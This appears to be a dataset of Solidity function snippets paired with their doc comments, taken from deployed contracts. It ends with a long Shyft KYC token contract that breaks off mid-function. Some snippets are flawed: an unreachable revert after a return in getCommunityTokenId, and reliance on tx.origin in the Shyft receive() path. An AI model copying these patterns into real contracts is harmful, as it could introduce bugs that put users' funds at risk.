number function endTime() public view returns(uint) { return 0; } // Optional function, can be implemented in place of startTime // Returns the starting block number of the ico, must return 0 if it depends on the time stamp function startBlock() public view returns(uint) { return rcBlockNumberStart; } // Optional function, can be implemented in place of endTime // Returns theending block number of the ico, must retrun 0 if it depends on the time stamp function endBlock() public view returns(uint) { return icoBlockNumberStart; } // returns the total number of the tokens available for the sale, must not change when the ico is started function totalTokens() public view returns(uint) { return ico.RC_TOKEN_LIMIT(); } // returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(), // then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens() function remainingTokens() public view returns(uint) { return ico.RC_TOKEN_LIMIT().sub(ico.getTokensIcoSold()); } // return the price as number of tokens released for each ether function price() public view returns(uint) { uint bonusPercent = 10; return getUacTokensPerEth(bonusPercent); } // Payback function to partecipate to Reservation contract campaign function() public payable onlyInBlockNumberRange { ico.buyTokensRC.value(msg.value)(msg.sender); LogReserve(msg.sender, msg.value); } }
Optional function, can be implemented in place of startTime Returns the starting block number of the ico, must return 0 if it depends on the time stamp
function startBlock() public view returns(uint) { return rcBlockNumberStart; }
15,804,948
./full_match/1287/0xF9e85c663448703bAc8DA3A81153065Dd8db42B7/sources/project_/contracts/treasury/TreasuryContract.sol
This function gives you the community token id of the recordId that you pass recordId This is the Id of the token that you want to check
function getCommunityTokenId( uint256 recordId ) public view returns (uint256) { (, , , , bool isPresent, uint256 tokenId) = treasuryCoreContract .commTokenMapping(recordId); if (isPresent) { return tokenId; revert("INVALID: WRONG_RECORD_ID"); } }
7,097,061
./full_match/5/0x669851A8F2c0d441B338707bC75fff4489D3c8F6/sources/solidity/contracts/OracleSidechain.sol
@inheritdoc IOracleSidechain
function write(ObservationData[] calldata _observationsData, uint24 _poolNonce) external onlyDataReceiver returns (bool _written) { if (_poolNonce != ++poolNonce) return false; Oracle.Observation memory _lastObservation = observations[slot0.observationIndex]; uint256 _observationsDataLength = _observationsData.length; for (uint256 _i; _i < _observationsDataLength; ++_i) { if (_lastObservation.blockTimestamp < _observationsData[_i].blockTimestamp) { _write(_observationsData[_i]); } } return true; }
7,070,258
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract BearIsland is ERC721, ERC721Enumerable, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; string public baseURI; constructor(string memory baseURI_) ERC721("Bear Island", "BEAR") { baseURI = baseURI_; } /// Return the base URI for a token. function _baseURI() internal view override returns (string memory) { return baseURI; } /// Update the base URI for tokens. /// @param baseURI_ the new base URI function setURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } /// Mint a token. /// @param to address to mint the token to function safeMint(address to) public onlyOwner { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } // The following functions are overrides required by Solidity. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
Mint a token. to address to mint the token to
function safeMint(address to) public onlyOwner { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); }
12,634,575
./full_match/1/0x66938285B15da67A93D80D08f8f2DA665449F08d/sources/contracts/AXLPresale.sol
Set token token info
function init_private ( address _sale_token, uint256 _token_rate, uint256 _raise_min, uint256 _raise_max, uint256 _softcap, uint256 _hardcap, uint256 _presale_start, uint256 _presale_end ) public onlyOwner { require(persaleSetting == 0, "Already setted"); require(_sale_token != address(0), "Zero Address"); presale_info.sale_token = address(_sale_token); presale_info.token_rate = _token_rate; presale_info.raise_min = _raise_min; presale_info.raise_max = _raise_max; presale_info.softcap = _softcap; presale_info.hardcap = _hardcap; presale_info.presale_end = _presale_end; presale_info.presale_start = _presale_start; tokeninfo.name = IERC20(presale_info.sale_token).name(); tokeninfo.symbol = IERC20(presale_info.sale_token).symbol(); tokeninfo.decimal = IERC20(presale_info.sale_token).decimals(); tokeninfo.totalsupply = IERC20(presale_info.sale_token).totalSupply(); persaleSetting = 1; }
4,929,521
./full_match/80001/0x8811C267cF64C5781cdE2Cf3681768EFE8bB536E/sources/contracts/1_Storage.sol
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements - `to` cannot be the zero address./
function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); require(totalSupply().add(amount) <= cap(), "cap exceeded"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); }
9,491,605
pragma solidity ^0.7.1; //SPDX-License-Identifier: UNLICENSED /* New ERC23 contract interface */ interface IErc223 { function totalSupply() external view returns (uint); function balanceOf(address who) external view returns (uint); function transfer(address to, uint value) external returns (bool ok); function transfer(address to, uint value, bytes memory data) external returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /** * @title Contract that will work with ERC223 tokens. */ interface IErc223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes memory _data) external returns (bool ok); } interface IErc20 { function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function transfer(address to, uint tokens) external returns (bool success); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface IShyftCacheGraph { function compileCacheGraph(address _identifiedAddress, uint16 _idx) external; function getKycCanSend( address _senderIdentifiedAddress, address _receiverIdentifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _payForDirty) external returns (uint8 result); function getActiveConsentedTrustChannelBitFieldForPair( address _senderIdentifiedAddress, address _receiverIdentifiedAddress) external returns (uint32 result); function getActiveTrustChannelBitFieldForPair( address _senderIdentifiedAddress, address _receiverIdentifiedAddress) external returns (uint32 result); function getActiveConsentedTrustChannelRoutePossible( address _firstAddress, address _secondAddress, address _trustChannelAddress) external view returns (bool result); function getActiveTrustChannelRoutePossible(address _firstAddress, address _secondAddress, address _trustChannelAddress) external view returns (bool result); function getRelativeTrustLevelOnlyClean(address _senderIdentifiedAddress, address _receiverIdentifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _requiredActive) external returns (int16 relativeTrustLevel, int16 externalTrustLevel); function calculateRelativeTrustLevel( uint32 _trustChannelIndex, uint256 _foundChannelRulesBitField, address _senderIdentifiedAddress, address _receiverIdentifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _requiredActive) external returns(int16 relativeTrustLevel, int16 externalTrustLevel); } interface IShyftKycContractRegistry { function isShyftKycContract(address _addr) external view returns (bool result); function getCurrentContractAddress() external view returns (address); function getContractAddressOfVersion(uint _version) external view returns (address); function getContractVersionOfAddress(address _address) external view returns (uint256 result); function getAllTokenLocations(address _addr, uint256 _bip32X_type) external view returns (bool[] memory resultLocations, uint256 resultNumFound); function getAllTokenLocationsAndBalances(address _addr, uint256 _bip32X_type) external view returns (bool[] memory resultLocations, uint256[] memory resultBalances, uint256 resultNumFound, uint256 resultTotalBalance); } /// @dev Inheritable constants for token types contract TokenConstants { //@note: reference from https://github.com/satoshilabs/slips/blob/master/slip-0044.md // hd chaincodes are 31 bits (max integer value = 2147483647) //@note: reference from https://chainid.network/ // ethereum-compatible chaincodes are 32 bits // given these, the final "nativeType" needs to be a mix of both. uint256 constant TestNetTokenOffset = 2**128; uint256 constant PrivateNetTokenOffset = 2**192; uint256 constant ShyftTokenType = 7341; uint256 constant EtherTokenType = 60; uint256 constant EtherClassicTokenType = 61; uint256 constant RootstockTokenType = 137; //Shyft Testnets uint256 constant BridgeTownTokenType = TestNetTokenOffset + 0; //Ethereum Testnets uint256 constant GoerliTokenType = TestNetTokenOffset + 1; uint256 constant KovanTokenType = TestNetTokenOffset + 2; uint256 constant RinkebyTokenType = TestNetTokenOffset + 3; uint256 constant RopstenTokenType = TestNetTokenOffset + 4; //Ethereum Classic Testnets uint256 constant KottiTokenType = TestNetTokenOffset + 5; //Rootstock Testnets uint256 constant RootstockTestnetTokenType = TestNetTokenOffset + 6; //@note:@here:@deploy: need to hardcode test and/or privatenet for deploy on various blockchains bool constant IsTestnet = false; bool constant IsPrivatenet = false; //@note:@here:@deploy: need to hardcode NativeTokenType for deploy on various blockchains // uint256 constant NativeTokenType = ShyftTokenType; } // pragma experimental ABIEncoderV2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IShyftKycContract is IErc20, IErc223, IErc223ReceivingContract { function balanceOf(address tokenOwner) external view override(IErc20, IErc223) returns (uint balance); function totalSupply() external view override(IErc20, IErc223) returns (uint); function transfer(address to, uint tokens) external override(IErc20, IErc223) returns (bool success); function getNativeTokenType() external view returns (uint256 result); function withdrawNative(address payable _to, uint256 _value) external returns (bool ok); function withdrawToExternalContract(address _to, uint256 _value) external returns (bool ok); function withdrawToShyftKycContract(address _shyftKycContractAddress, address _to, uint256 _value) external returns (bool ok); function migrateFromKycContract(address _to) external payable returns(bool result); function updateContract(address _addr) external returns (bool); function getBalanceBip32X(address _identifiedAddress, uint256 _bip32X_type) external view returns (uint256 balance); function getOnlyAcceptsKycInput(address _identifiedAddress) external view returns (bool result); function getOnlyAcceptsKycInputPermanently(address _identifiedAddress) external view returns (bool result); } /// @dev | Shyft Core :: Shyft Kyc Contract /// | /// | This contract is the nucleus of all of the Shyft stack. This current v1 version has basic functionality for upgrading and connects to the Shyft Cache Graph via Routing for further system expansion. /// | /// | It should be noted that all payable functions should utilize revert, as they are dealing with assets. /// | /// | "Bip32X" & Synthetics - Here we're using an extension of the Bip32 standard that effectively uses a hash of contract address & "chainId" to allow any erc20/erc223 contract to allow assets to move through Shyft's opt-in compliance rails. /// | Ex. Ethereum = 60 /// | Shyft Network = 7341 /// | /// | This contract is built so that when the totalSupply is asked for, much like transfer et al., it only references the ShyftTokenType. For getting the native balance of any specific Bip32X token, you'd call "getTotalSupplyBip32X" with the proper contract address. /// | /// | "Auto Migration" /// | This contract was built with the philosophy that while there needs to be *some* upgrade path, unilaterally changing the existing contract address for Users is a bad idea in practice. Instead, we use a versioning system with the ability for users to set flags to automatically upgrade their liquidity on send into this particular contract, to any other contracts that have been updated so far (in a recursive manner). /// | /// | Auto-Migration of assets flow: /// | 1. registry contract is set up /// | 2. upgrade is called by registry contract /// | 3. calls to fallback looks to see if upgrade is set /// | 4. if so it asks the registry for the current contract address /// | 5. it then uses the "migrateFromKycContract", which on the receiver's end will update the _to address passed in with the progression and now has the value from the "migrateFromKycContract"'s payable and thus the native fuel, to back the token increase to the _to's account. /// | /// | /// | What's Next (V2 notes): /// | /// | "Shyft Safe" - timelocked assets that will work with Byfrost /// | "Shyft Byfrost" - economic finality bridge infrastructure /// | /// | Compliance Channels: /// | Addresses that only accept kyc input should be able to receive packages by the bridge that are only kyc'd across byfrost. /// | Ultimate accountability chain could be difficult, though a hash map of critical ipfs resources of chain data could suffice. /// | This would be the same issue as data accountability by trying to leverage multiple chains for data sales as well. contract ShyftKycContract is IShyftKycContract, TokenConstants { /// @dev Event for migration to another shyft kyc contract (of higher or equal version). event EVT_migrateToKycContract(address indexed updatedShyftKycContractAddress, uint256 updatedContractBalance, address indexed kycContractAddress, address indexed to, uint256 _amount); /// @dev Event for migration to another shyft kyc contract (from lower or equal version). event EVT_migrateFromContract(address indexed sendingKycContract, uint256 totalSupplyBip32X, uint256 msgValue, uint256 thisBalance); /// @dev Event for receipt of native assets. event EVT_receivedNativeBalance(address indexed _from, uint256 _value); /// @dev Event for withdraw to address. event EVT_WithdrawToAddress(address _from, address _to, uint256 _value); /// @dev Event for withdraw to a specific shyft smart contract. event EVT_WithdrawToShyftKycContract(address _from, address _to, uint256 _value); /// @dev Event for withdraw to external contract (w/ Erc223 fallbacks). event EVT_WithdrawToExternalContract(address _from, address _to, uint256 _value); /// @dev Event for getting an erc223 asset inbound to this contract. event EVT_Bip32X_TypeTokenFallback(address msgSender, address _from, uint256 value, uint256 nativeTokenType, uint256 bip32X_type); event EVT_TransferAndMintBip32X_type(address contractAddress, address msgSender, uint256 value, uint256 bip32X_type); event EVT_TransferAndBurnBip32X_type(address contractAddress, address msgSender, address to, uint256 value, uint256 bip32X_type); event EVT_TransferBip32X_type(address msgSender, address to, uint256 value, uint256 bip32X_type); /* ERC223 events */ event EVT_Erc223TokenFallback(address _from, uint256 _value, bytes _data); using SafeMath for uint256; /// @dev Mapping of total supply specific bip32x assets. mapping(uint256 => uint256) totalSupplyBip32X; /// @dev Mapping of users to their balances of specific bip32x assets. mapping(address => mapping(uint256 => uint256)) balances; /// @dev Mapping of users to users with amount of allowance set for specific bip32x assets. mapping(address => mapping(address => mapping(uint256 => uint256))) allowed; /// @dev Mapping of users to whether they have set auto-upgrade enabled. mapping(address => bool) autoUpgradeEnabled; /// @dev Mapping of users to whether they Accepts Kyc Input only. mapping(address => bool) onlyAcceptsKycInput; /// @dev Mapping of users to whether their Accepts Kyc Input option is locked permanently. mapping(address => bool) lockOnlyAcceptsKycInputPermanently; /// @dev mutex lock, prevent recursion in functions that use external function calls bool locked; /// @dev Whether there has been an upgrade from this contract. bool public hasBeenUpdated; /// @dev The address of the next upgraded Shyft Kyc Contract. address public updatedShyftKycContractAddress; /// @dev The address of the Shyft Kyc Registry contract. address public shyftKycContractRegistryAddress; /// @dev The address of the Shyft Cache Graph contract. address public shyftCacheGraphAddress = address(0); /// @dev The signature for triggering 'tokenFallback' in erc223 receiver contracts. bytes4 constant shyftKycContractSig = bytes4(keccak256("fromShyftKycContract(address,address,uint256,uint256)")); // function signature /// @dev The signature for the upgrade event. bytes4 shyftKycContractTokenUpgradeSig = bytes4(keccak256("updateShyftToken(address,uint256,uint256)")); // function signature /// @dev The origin of the Byfrost link, if this contract is used as such. follows chainId. bool public byfrostOrigin; /// @dev Flag for whether the Byfrost state has been set. bool public setByfrostOrigin; /// @dev The owner of this contract. address public owner; /// @dev The native Bip32X type of this network. Ethereum is 60, Shyft is 7341, etc. uint256 nativeBip32X_type; /// @param _nativeBip32X_type The native Bip32X type of this network. Ethereum is 60, Shyft is 7341, etc. /// @dev Invoke the constructor for ShyftSafe, which sets the owner and nativeBip32X_type class variables constructor(uint256 _nativeBip32X_type) { owner = msg.sender; nativeBip32X_type = _nativeBip32X_type; } /// @dev Gets the native bip32x token (should correspond to "chainid") /// @return result the native bip32x token (should correspond to "chainid") function getNativeTokenType() public override view returns (uint256 result) { return nativeBip32X_type; } /// @param _tokenAmount The amount of tokens to be allocated. /// @param _bip32X_type The Bip32X type that represents the synthetic tokens that will be allocated. /// @param _distributionContract The public address of the distribution contract, that the tokens are allocated for. /// @dev Set by the owner, this functions sets it such that this contract was deployed on a Byfrost arm of the Shyft Network (on Ethereum for example). With this is a token grant that this contract should make to a specific distribution contract (ie. in the case of the initial Shyft Network launch, we have a small allocation originating on the Ethereum network). /// @notice | for created kyc contracts on other chains, they can be instantiated with specific bip32X_type amounts /// | (for example, the shyft distribution contract on eth vs. shyft native) /// | ' uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress))); /// | ' bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, msg.sender))); /// | the bip32X_type is formed by the hash of the native bip32x type (which is unique per-platform, as it depends on /// | the deployed contract address) - byfrost only touches non-replay networks. /// | so the formula for the bip32X_type would be HASH [ byfrost main chain bip32X_type ] & [ byfrost main chain kyc contract address ] /// | these minted tokens are given to the distribution contract for further distribution. This is all this contract /// | needs to know about the distribution contract. /// @return result /// | 2 = set byfrost as origin /// | 1 = already set byfrost origin /// | 0 = not owner function setByfrostNetwork(uint256 _tokenAmount, uint256 _bip32X_type, address _distributionContract) public returns (uint8 result) { if (msg.sender == owner) { if (setByfrostOrigin == false) { byfrostOrigin = true; setByfrostOrigin = true; balances[_distributionContract][_bip32X_type] = _tokenAmount; //set byfrost as origin return 2; } else { //already set return 1; } } else { //not owner return 0; } } /// @dev Set by the owner, this function sets it such that this contract was deployed on the primary Shyft Network. No further calls to setByfrostNetwork may be made. /// @return result /// | 2 = set primary network /// | 1 = already set byfrost origin /// | 0 = not owner function setPrimaryNetwork() public returns (uint8 result) { if (msg.sender == owner) { if (setByfrostOrigin == false) { setByfrostOrigin = true; //set primary network return 2; } else { //already set byfrost origin return 1; } } else { //not owner return 0; } } /// @dev Removes the owner (creator of this contract)'s control completely. Functions such as linking the registry & cachegraph (& shyftSafe's setBridge), and importantly initializing this as a byfrost contract, are triggered by the owner, and as such a setting phase and afterwards triggering this function could be seen as a completely appropriate workflow. /// @return true if the owner is removed successfully function removeOwner() public returns (bool) { require(msg.sender == owner); owner = address(0); return true; } /// @param _shyftCacheGraphAddress The smart contract address for the Shyft CacheGraph that should be linked. /// @dev Links Shyft CacheGraph to this contract's function flow. /// @return result /// | 0: not owner /// | 1: set shyft cache graph address function setShyftCacheGraphAddress(address _shyftCacheGraphAddress) public returns (uint8 result) { require(_shyftCacheGraphAddress != address(0)); if (owner == msg.sender) { shyftCacheGraphAddress = _shyftCacheGraphAddress; //cacheGraph contract address set return 1; } else { //not owner return 0; } } //---------------- Cache Graph Utilization ----------------// /// @param _identifiedAddress The public address for the recipient to send assets (tokens) to. /// @param _amount The amount of assets that will be sent. /// @param _bip32X_type The bip32X type of the assets that will be sent. These are synthetic (wrapped) assets, based on atomic locking. /// @param _requiredConsentFromAllParties Whether to match the routing algorithm on the "consented" layer which indicates 2 way buy in of counterparty's attestation(s) /// @param _payForDirty Whether the sender will pay the additional cost to unify a cachegraph's relationships (if not, it will not complete). /// @dev | Performs a "kyc send", which is an automatic search between addresses for counterparty relationships within Trust Channels (whos rules dictate accessibility for auditing/enforcement/jurisdiction/etc.). If there is a match, the designated amount of assets is sent to the recipient. /// | As there are accessor methods to check whether or not the counterparty's cachegraph is "dirty", there is little need to pass a "true" unless the transaction is critical (eg. DeFi atomic flash wrap) and there is a chance that there will need to be a unification pass before the transaction can pass with full assurety. /// @notice | If the recipient has flags set to indicate that they *only* want to receive assets from kyc sources, *all* of the regular transfer functions will block except this one, and this one only passes on success. /// @return result /// | 0 = not enough balance to send /// | 1 = consent required /// | 2 = transfer cannot be processed due to transfer rules /// | 3 = successful transfer function kycSend(address _identifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _payForDirty) public returns (uint8 result) { if (balances[msg.sender][_bip32X_type] >= _amount) { if (onlyAcceptsKycInput[_identifiedAddress] == false || (onlyAcceptsKycInput[_identifiedAddress] == true && _requiredConsentFromAllParties == true)) { IShyftCacheGraph shyftCacheGraph = IShyftCacheGraph(shyftCacheGraphAddress); uint8 kycCanSendResult = shyftCacheGraph.getKycCanSend(msg.sender, _identifiedAddress, _amount, _bip32X_type, _requiredConsentFromAllParties, _payForDirty); //getKycCanSend return 3 = can transfer successfully if (kycCanSendResult == 3) { balances[msg.sender][_bip32X_type] = balances[msg.sender][_bip32X_type].sub(_amount); balances[_identifiedAddress][_bip32X_type] = balances[_identifiedAddress][_bip32X_type].add(_amount); //successful transfer return 3; } else { //transfer cannot be processed due to transfer rules return 2; } } else { //consent required return 1; } } else { //not enough balance to send return 0; } } //---------------- Shyft KYC balances, fallback, send, receive, and withdrawal ----------------// /// @dev mutex locks transactions ordering so that multiple chained calls cannot complete out of order. modifier mutex() { if (locked) revert(); locked = true; _; locked = false; } /// @param _addr The Shyft Kyc Contract Registry address to set to. /// @dev Upgrades the contract. Can only be called by a pre-set Shyft Kyc Contract Registry contract. Can only be called once. /// @return returns true if the function passes, otherwise reverts if the message sender is not the shyft kyc registry contract. function updateContract(address _addr) public override returns (bool) { require(msg.sender == shyftKycContractRegistryAddress); require(hasBeenUpdated == false); hasBeenUpdated = true; updatedShyftKycContractAddress = _addr; return true; } /// @param _addr The Shyft Kyc Contract Registry address to set to. /// @dev Sets the Shyft Kyc Contract Registry address, so this contract can be upgraded. /// @return returns true if the function passes, otherwise reverts if the message sender is not the owner (deployer) of this contract. function setShyftKycContractRegistryAddress(address _addr) public returns (bool) { require(msg.sender == owner); shyftKycContractRegistryAddress = _addr; return true; } /// @param _to The destination address to withdraw to. /// @dev Withdraws all assets of this User to a specific address (only native assets, ie. Ether on Ethereum, Shyft on Shyft Network). /// @return balance the number of tokens of that specific bip32x type in the user's account function withdrawAllNative(address payable _to) public returns (uint) { uint _bal = balances[msg.sender][ShyftTokenType]; withdrawNative(_to, _bal); return _bal; } /// @param _identifiedAddress The address of the User. /// @param _bip32X_type The Bip32X type to check. /// @dev Gets balance for Shyft KYC token type & synthetics for a specfic user. /// @return balance the number of tokens of that specific bip32x type in the user's account function getBalanceBip32X(address _identifiedAddress, uint256 _bip32X_type) public view override returns (uint256 balance) { return balances[_identifiedAddress][_bip32X_type]; } /// @param _bip32X_type The Bip32X type to check. /// @dev Gets the total supply for a specific bip32x token. /// @return balance the number of tokens of that specific bip32x type in this contract function getTotalSupplyBip32X(uint256 _bip32X_type) public view returns (uint256 balance) { return totalSupplyBip32X[_bip32X_type]; } /// @dev This fallback function applies value to nativeBip32X_type Token (Ether on Ethereum, Shyft on Shyft Network, etc). It also uses auto-upgrade logic so that users can automatically have their coins in the latest wallet (if everything is opted in across all contracts by the user). receive() external payable { //@note: this is the auto-upgrade path, which is an opt-in service to the users to be able to send any or all tokens // to an upgraded kycContract. if (hasBeenUpdated && autoUpgradeEnabled[msg.sender]) { //@note: to prevent tokens from ever getting "stuck", this contract can only send to itself in a very // specific manner. // // for example, the "withdrawNative" function will output native fuel to a destination. // If it was sent to this contract, this function will trigger and know that the msg.sender is // the originating kycContract. if (msg.sender != address(this)) { // stop the process if the message sender has set a flag that only allows kyc input require(onlyAcceptsKycInput[msg.sender] == false); // burn tokens in this contract uint256 existingSenderBalance = balances[msg.sender][nativeBip32X_type]; balances[msg.sender][nativeBip32X_type] = 0; totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(existingSenderBalance); //~70k gas for the contract "call" //and 90k gas for the value transfer within this. // total = ~160k+checks gas to perform this transaction. bool didTransferSender = migrateToKycContract(updatedShyftKycContractAddress, msg.sender, existingSenderBalance.add(msg.value)); if (didTransferSender == true) { } else { //@note: reverts since a transactional event has occurred. revert(); } } else { //****************************************************************************************************// //@note: This *must* be the only route where tx.origin has to matter. //****************************************************************************************************// // duplicating the logic here for higher deploy cost vs. lower transactional costs (consider user costs // where all users would want to migrate) // burn tokens in this contract uint256 existingOriginBalance = balances[tx.origin][nativeBip32X_type]; balances[tx.origin][nativeBip32X_type] = 0; totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(existingOriginBalance); //~70k gas for the contract "call" //and 90k gas for the value transfer within this. // total = ~160k+checks gas to perform this transaction. bool didTransferOrigin = migrateToKycContract(updatedShyftKycContractAddress, tx.origin, existingOriginBalance.add(msg.value)); if (didTransferOrigin == true) { } else { //@note: reverts since a transactional event has occurred. revert(); } } } else { //@note: never accept this contract sending raw value to this fallback function, unless explicit cases // have been met. //@note: public addresses do not count as kyc'd addresses if (msg.sender != address(this) && onlyAcceptsKycInput[msg.sender] == true) { revert(); } balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].add(msg.value); totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].add(msg.value); emit EVT_receivedNativeBalance(msg.sender, msg.value); } } /// @param _kycContractAddress The Shyft Kyc Contract to migrate to. /// @param _to The user's address to migrate to /// @param _amount The amount of tokens to migrate. /// @dev Internal function to migrates the user's assets to another Shyft Kyc Contract. This function is called from the fallback to allocate tokens properly to the upgraded contract. /// @return result /// | true = transfer complete /// | false = transfer did not complete function migrateToKycContract(address _kycContractAddress, address _to, uint256 _amount) internal returns (bool result) { // call upgraded contract so that tokens are forwarded to the new contract under _to's account. IShyftKycContract updatedKycContract = IShyftKycContract(updatedShyftKycContractAddress); emit EVT_migrateToKycContract(updatedShyftKycContractAddress, address(updatedShyftKycContractAddress).balance, _kycContractAddress, _to, _amount); // sending to ShyftKycContracts only; migrateFromKycContract uses ~75830 - 21000 gas to execute, // with a registry lookup, so adding in a bit more for future contracts. bool transferResult = updatedKycContract.migrateFromKycContract{value: _amount, gas: 100000}(_to); if (transferResult == true) { //transfer complete return true; } else { //transfer did not complete return false; } } /// @param _to The user's address to migrate to. /// @dev | Migrates the user's assets from another Shyft Kyc Contract. The following conditions have to pass: /// | a) message sender is a shyft kyc contract, /// | b) sending shyft kyc contract is not of a later version than this one /// | c) user on this shyft kyc contract have no restrictions on only accepting KYC input (will ease in v2) /// @return result /// | true = migration completed successfully /// | [revert] = reverts on any situation that fails on the above parameters function migrateFromKycContract(address _to) public payable override returns (bool result) { //@note: doing a very strict check to make sure no unwanted additional tokens can be created. // the way this work is that this.balance is updated *before* this code runs. // thus, as long as we've always updated totalSupplyBip32X when we've created or destroyed tokens, we'll // always be able to check against this.balance. //regarding an issue found: //"Smart contracts, though they may not expect it, can receive ether forcibly, or could be deployed at an // address that already received some ether." // from: // "require(totalSupplyBip32X[nativeBip32X_type].add(msg.value) == address(this).balance);" // // the worst case scenario in some non-atomic calls (without going through withdrawToShyftKycContract for example) // is that someone self-destructs a contract and forcibly sends ether to this address, before this is triggered by // someone using it. // solution: // we cannot do a simple equality check for address(this).balance. instead, we use an less-than-or-equal-to, as // when the worst case above occurs, the total supply of this synthetic will be less than the balance within this // contract. require(totalSupplyBip32X[nativeBip32X_type].add(msg.value) <= address(this).balance); bool doContinue = true; IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress); // check if only using a known kyc contract communication cycle, then verify the message sender is a kyc contract. if (contractRegistry.isShyftKycContract(address(msg.sender)) == false) { doContinue = false; } else { // only allow migration from equal or older versions of Shyft Kyc Contracts, via registry lookup. if (contractRegistry.getContractVersionOfAddress(address(msg.sender)) > contractRegistry.getContractVersionOfAddress(address(this))) { doContinue = false; } } // block transfers if the recipient only allows kyc input if (onlyAcceptsKycInput[_to] == true) { doContinue = false; } if (doContinue == true) { emit EVT_migrateFromContract(msg.sender, totalSupplyBip32X[nativeBip32X_type], msg.value, address(this).balance); balances[_to][nativeBip32X_type] = balances[_to][nativeBip32X_type].add(msg.value); totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].add(msg.value); //transfer complete return true; } else { //kyc contract not in registry //@note: transactional event has occurred, so revert() is necessary revert(); //return false; } } /// @param _onlyAcceptsKycInputValue Whether to accept only Kyc Input. /// @dev Sets whether to accept only Kyc Input in the future. /// @return result /// | true = updated onlyAcceptsKycInput /// | false = cannot modify onlyAcceptsKycInput, as it is locked permanently by user function setOnlyAcceptsKycInput(bool _onlyAcceptsKycInputValue) public returns (bool result) { if (lockOnlyAcceptsKycInputPermanently[msg.sender] == false) { onlyAcceptsKycInput[msg.sender] = _onlyAcceptsKycInputValue; //updated onlyAcceptsKycInput return true; } else { //cannot modify onlyAcceptsKycInput, as it is locked permanently by user return false; } } /// @dev Gets whether the user has set Accepts Kyc Input. /// @return result /// | true = set lock for onlyAcceptsKycInput /// | false = already set lock for onlyAcceptsKycInput function setLockOnlyAcceptsKycInputPermanently() public returns (bool result) { if (lockOnlyAcceptsKycInputPermanently[msg.sender] == false) { lockOnlyAcceptsKycInputPermanently[msg.sender] = true; //set lock for onlyAcceptsKycInput return true; } else { //already set lock for onlyAcceptsKycInput return false; } } /// @param _identifiedAddress The public address to check. /// @dev Gets whether the user has set Accepts Kyc Input. /// @return result whether the user has set Accepts Kyc Input function getOnlyAcceptsKycInput(address _identifiedAddress) public view override returns (bool result) { return onlyAcceptsKycInput[_identifiedAddress]; } /// @param _identifiedAddress The public address to check. /// @dev Gets whether the user has set Accepts Kyc Input permanently (whether on or off). /// @return result whether the user has set Accepts Kyc Input permanently (whether on or off) function getOnlyAcceptsKycInputPermanently(address _identifiedAddress) public view override returns (bool result) { return 